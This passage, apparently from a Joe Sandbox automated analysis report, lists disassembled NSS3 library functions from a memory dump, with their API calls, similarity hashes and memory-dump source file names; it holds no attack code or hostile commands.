Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C65BE03

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65BE3B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: ec08bc34d3a50fce9b4313ce826fd95a03ae5485d95d032c64b5bc403fd3912c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0201DBA5B4121276F61013666C01FA7664C8FD23CDF680030FE05A6B82FB61E53A83BE

Function 6C6B0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B
TlsGetValue.KERNEL32(00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1044
free.MOZGLUE(00000000,?,00000800,6C64EF74,00000000), ref: 6C6B1064

Strings

security, xrefs: 6C6B1025

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction ID: 8c93f49064b597ba2401bade9a46978980df02935f628d62746fdb0b1c880ab2
Opcode Fuzzy Hash: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction Fuzzy Hash: B2010831640250B7E7202F6DAC05B963678BF17789F014135E908A6A51EF71C165DBDA

Function 6C6E1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6E1C74

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6E1C92
free.MOZGLUE(?), ref: 6C6E1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6E1CCB
free.MOZGLUE(?), ref: 6C6E1CD2

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction ID: 98cd11b7d01fb884a8ceb90e7c58dbee9b95002e45c416f85f66606faf586c91
Opcode Fuzzy Hash: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction Fuzzy Hash: 300196B1F0B211AFDF20AFE49D0DF8937B8A70B719F100136E90AE6A41D725D145579D

Function 6C6F2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F3046

Part of subcall function 6C6DEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C6C7FFB), ref: 6C6F312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6F3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6F2E8B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6DF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C6C9BFF,?,00000000,00000000), ref: 6C6DF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C6C7FFA), ref: 6C6F2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F317B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction ID: f8f5d4d53ba9776809a09e652965c1dd041f9ba1af1efbf5b2ef7fc5339d2de9
Opcode Fuzzy Hash: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction Fuzzy Hash: 9AA1D071A002189FDB24CF54CC84BEAB7B6EF45308F148099ED596B741E731AD46CFA6

Function 6C6BED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C6BED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C6BEDCE

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

free.MOZGLUE(00000000,?,?,?,?,6C6BB04F), ref: 6C6BEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6BEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6BEEFB

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction ID: ed0e2b82c5d8c0918f4eba002951f7eef7a561eb8374721b122411793bd032d3
Opcode Fuzzy Hash: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction Fuzzy Hash: 6281ADB5A002059FEB10CF59DC84BAB77F5FF89308F144468E815AB751DB30E826CBA9

Function 6C6BCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

PR_Now.NSS3 ref: 6C6BCD35

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

Part of subcall function 6C6A6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

PR_GetCurrentThread.NSS3 ref: 6C6BCD54

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Part of subcall function 6C6A7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651CCC,00000000,00000000,?,?), ref: 6C6A729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C6BCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C6BCE2C

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C6BCE40

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

Part of subcall function 6C6BCEE0: PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC
Part of subcall function 6C6BCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction ID: df4060638b9dfed6918a95f45276fd06404caec0ee5e3a7fd7dc208a94e18b80
Opcode Fuzzy Hash: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction Fuzzy Hash: C451B3B6A00105ABE710DF69DC40B9A77E4EF48348F250524E946B7B40EB31EA26CB99

Function 6C6CFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C6CFFE5

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D0004
PR_EnterMonitor.NSS3(?), ref: 6C6D001B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction ID: e1df66cdfdcff840337f6f3681ef08d2f3bf5822fdea135648fcba63fcc0ea7e
Opcode Fuzzy Hash: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction Fuzzy Hash: 0D419770608680DBE7308A69DC557EB73A1EB8130CF55043DE45BCBE90E3B9B449C78A

Function 6C6CFEE0 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6CFF33
NSS_OptionGet.NSS3(00000001,?), ref: 6C6CFF45
PR_SetError.NSS3(FFFFD084,00000000), ref: 6C6CFF6F
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6CFF9B
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6D0088
PR_ExitMonitor.NSS3(?), ref: 6C6D0180
PR_ExitMonitor.NSS3(?), ref: 6C6D0197

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$ExitMonitor$Option
String ID:
API String ID: 1656454950-0
Opcode ID: 0e15d116f635f09ef67f724f4fbbb07ecf2d4cb852253f4cdde5db02937b1c56
Instruction ID: a03b70337baeee3b841449d5e9b6e222fe428f053cd0e6c217b1a6589095363b
Opcode Fuzzy Hash: 0e15d116f635f09ef67f724f4fbbb07ecf2d4cb852253f4cdde5db02937b1c56
Instruction Fuzzy Hash: 1931A171B041516BE7108A7ADC45BEFB3A9DBC3708F400439E91AD7B40E771A909839B

Function 6C68EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C68EF38

Part of subcall function 6C679520: PK11_IsLoggedIn.NSS3(00000000,?,6C6A379E,?,00000001,?), ref: 6C679542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C68EF53

Part of subcall function 6C694C20: TlsGetValue.KERNEL32 ref: 6C694C4C
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?), ref: 6C694C60
Part of subcall function 6C694C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
Part of subcall function 6C694C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
Part of subcall function 6C694C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A

PR_GetCurrentThread.NSS3 ref: 6C68EF9E

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

free.MOZGLUE(00000000), ref: 6C68EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68F016
free.MOZGLUE(00000000), ref: 6C68F022

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction ID: 6273c486a7b59ef7c815cb76326d4a6e881225dcd703cd0e19cbf82bb2cd628d
Opcode Fuzzy Hash: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction Fuzzy Hash: BC41B2B1E0120AAFDF018FA9DC44BEE7BB9AF49348F144025F914A6350E772C9158BB9

Function 6C67CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C67CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C67D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C67D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67D025
PR_NewLock.NSS3 ref: 6C67D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67D074

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction ID: 79ea88b1fcbb8423cd0d8289845fd35db8351fd1248ed1845f97c588f3ae3957
Opcode Fuzzy Hash: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction Fuzzy Hash: C641E3B0A013019FDF20DF29C88878A7BE4EF08358F10596ADC198BB46D774D885CBB9

Function 6C6C3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C3FF2

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C6C400F

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C6C4054

Part of subcall function 6C65BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C65BC24
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BC39
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C65BC58
Part of subcall function 6C65BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C65BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6C40CD

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 85cb7722eb0d43e6c1125bf58762c9f1fb40480b9f6c4d0355d9e319e4c27fe6
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 8A31C8B2F4034597EB00DF649D81BBA3364EF9170CF144225ED099B742FB71E96883AA

Function 6C662E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C652D1A), ref: 6C662E7E

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

PR_Now.NSS3 ref: 6C662EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C662EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C652D1A), ref: 6C662F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C652D1A), ref: 6C662F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C662F81

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
